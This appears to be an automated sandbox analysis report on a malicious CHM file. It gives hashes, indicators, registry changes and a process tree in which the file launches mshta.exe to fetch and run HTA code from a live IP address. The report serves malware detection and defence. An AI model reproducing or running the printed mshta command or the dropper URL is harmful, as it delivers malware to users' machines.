ead97a3920ff557299bcd4ccde1770c759263b93b70414258ec9030bbd0cb750

Analysis

max time kernel
56s
max time network
55s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12-04-2023 02:08

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General

Target

40d6b60a30a8ea1f2911efcef19487e0.chm
Size

100KB
MD5

40d6b60a30a8ea1f2911efcef19487e0
SHA1

78e65b1f2860db8a12630173faa98f2bc184a898
SHA256

ead97a3920ff557299bcd4ccde1770c759263b93b70414258ec9030bbd0cb750
SHA512

83f6d8f4836088d673f3da4e758af69cf9ebe4b1135a39070f0171ea39b57553c616821bc1d2233711ff7525a9ddefd85a5315da2ca11113ff6aa3f69780fbcf
SSDEEP

1536:4bGN5bBPms1O9bKgJPV/EUNN5AkqqZDa6UZrVutluxh1oj6y3uf+/XOtJAMS:tTEsE9GOpfN5ApqZmHrkOh1zyf/X71

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://141.105.65.165/data/8.html

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	1044	mshta.exe
5	1044	mshta.exe

Modifies Internet Explorer settings 1 TTPs 7 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main	hh.exe
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\International\CpMRU	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Enable = "1"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Size = "10"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\International\CpMRU\InitHits = "100"	hh.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\International\CpMRU\Factor = "20"	hh.exe
Key created	\REGISTRY\USER\S-1-5-21-3499517378-2376672570-1134980332-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: 33	840	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	840	AUDIODG.EXE
Token: 33	840	AUDIODG.EXE
Token: SeIncBasePriorityPrivilege	840	AUDIODG.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
1344	hh.exe
1344	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1344 wrote to memory of 1044	1344	hh.exe	29
PID 1344 wrote to memory of 1044	1344	hh.exe	29
PID 1344 wrote to memory of 1044	1344	hh.exe	29

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\40d6b60a30a8ea1f2911efcef19487e0.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1344
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://141.105.65.165/data/8.html ,
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:1044

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0xcc
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:840

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1344-74-0x000007FFFFF80000-0x000007FFFFF90000-memory.dmp

Filesize
64KB

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